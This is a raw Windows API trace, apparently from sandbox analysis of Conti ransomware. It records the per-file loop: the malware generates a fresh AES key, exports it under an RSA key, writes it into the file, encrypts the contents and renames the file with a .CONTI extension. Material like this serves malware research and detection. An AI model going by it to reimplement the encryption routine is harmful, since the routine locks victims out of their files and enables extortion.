	[0107.089] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2dd, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2e0) returned 1
	[0107.089] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.089] WriteFile (in: hFile=0x2f4, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2e0, lpOverlapped=0x0) returned 1
	[0107.089] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.089] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c5588*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17c5588*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0107.089] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.090] CloseHandle (hObject=0x2f4) returned 1
	[0107.090] GetProcessHeap () returned 0x1720000
	[0107.090] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17e5440
	[0107.090] lstrcpyW (in: lpString1=0x17e5440, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml"
	[0107.090] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.090] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.091] GetProcessHeap () returned 0x1720000
	[0107.091] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5440 | out: hHeap=0x1720000) returned 1
	[0107.091] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0107.091] GetProcessHeap () returned 0x1720000
	[0107.091] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c30b0 | out: hHeap=0x1720000) returned 1
	[0107.091] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0107.091] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17c5c68 | out: phKey=0x17c5c68*=0x17c81b0) returned 1
	[0107.091] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5c6c, pdwDataLen=0x497fc1c | out: pbData=0x17c5c6c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0107.092] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.092] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.092] GetLastError () returned 0x0
	[0107.092] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=658) returned 1
	[0107.092] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x292
	[0107.092] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.092] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.092] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.092] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.093] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c5c6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17c5c6c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.094] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.094] ReadFile (in: hFile=0x2f4, lpBuffer=0xd030000, nNumberOfBytesToRead=0x292, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x292, lpOverlapped=0x0) returned 1
	[0107.094] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x292, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2a0) returned 1
	[0107.094] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.094] WriteFile (in: hFile=0x2f4, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2a0, lpOverlapped=0x0) returned 1
	[0107.095] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.095] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c5c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17c5c60*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0107.095] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.095] CloseHandle (hObject=0x2f4) returned 1
	[0107.095] GetProcessHeap () returned 0x1720000
	[0107.095] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.097] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml"
	[0107.097] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.097] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.098] GetProcessHeap () returned 0x1720000
	[0107.098] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.098] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0107.098] GetProcessHeap () returned 0x1720000
	[0107.098] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3220 | out: hHeap=0x1720000) returned 1
	[0107.098] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0107.098] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d2690 | out: phKey=0x17d2690*=0x17c8270) returned 1
	[0107.098] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2694, pdwDataLen=0x497fc1c | out: pbData=0x17d2694*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0107.099] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0107.099] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.099] GetLastError () returned 0x0
	[0107.099] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=466) returned 1
	[0107.099] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d2
	[0107.099] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.099] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.100] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.100] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.100] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d2694*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d2694*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.102] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.102] ReadFile (in: hFile=0x2f4, lpBuffer=0xd030000, nNumberOfBytesToRead=0x1d2, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x1d2, lpOverlapped=0x0) returned 1
	[0107.102] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1d2, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1e0) returned 1
	[0107.102] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.102] WriteFile (in: hFile=0x2f4, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x1e0, lpOverlapped=0x0) returned 1
	[0107.102] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.102] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d2688*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0107.102] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.102] CloseHandle (hObject=0x2f4) returned 1
	[0107.102] GetProcessHeap () returned 0x1720000
	[0107.102] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.102] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0107.102] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0107.103] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0107.103] GetProcessHeap () returned 0x1720000
	[0107.103] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.103] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0107.103] GetProcessHeap () returned 0x1720000
	[0107.103] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bc3e0 | out: hHeap=0x1720000) returned 1
	[0107.103] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0107.103] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d38d0 | out: phKey=0x17d38d0*=0x17c85b0) returned 1
	[0107.103] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d38d4, pdwDataLen=0x497fc1c | out: pbData=0x17d38d4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0107.104] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.105] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.105] GetLastError () returned 0x0
	[0107.105] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=650) returned 1
	[0107.105] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28a
	[0107.105] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.105] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.105] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.105] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.105] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d38d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d38d4*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.107] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.107] ReadFile (in: hFile=0x2f4, lpBuffer=0xd030000, nNumberOfBytesToRead=0x28a, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x28a, lpOverlapped=0x0) returned 1
	[0107.107] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x28a, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x290) returned 1
	[0107.107] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.107] WriteFile (in: hFile=0x2f4, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x290, lpOverlapped=0x0) returned 1
	[0107.107] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.107] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d38c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d38c8*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0107.108] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.108] CloseHandle (hObject=0x2f4) returned 1
	[0107.108] GetProcessHeap () returned 0x1720000
	[0107.108] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.108] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml"
	[0107.108] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.108] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.109] GetProcessHeap () returned 0x1720000
	[0107.109] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.109] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0107.109] GetProcessHeap () returned 0x1720000
	[0107.109] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0070 | out: hHeap=0x1720000) returned 1
	[0107.109] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0107.109] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d41f0 | out: phKey=0x17d41f0*=0x17c7ef0) returned 1
	[0107.109] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d41f4, pdwDataLen=0x497fc1c | out: pbData=0x17d41f4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
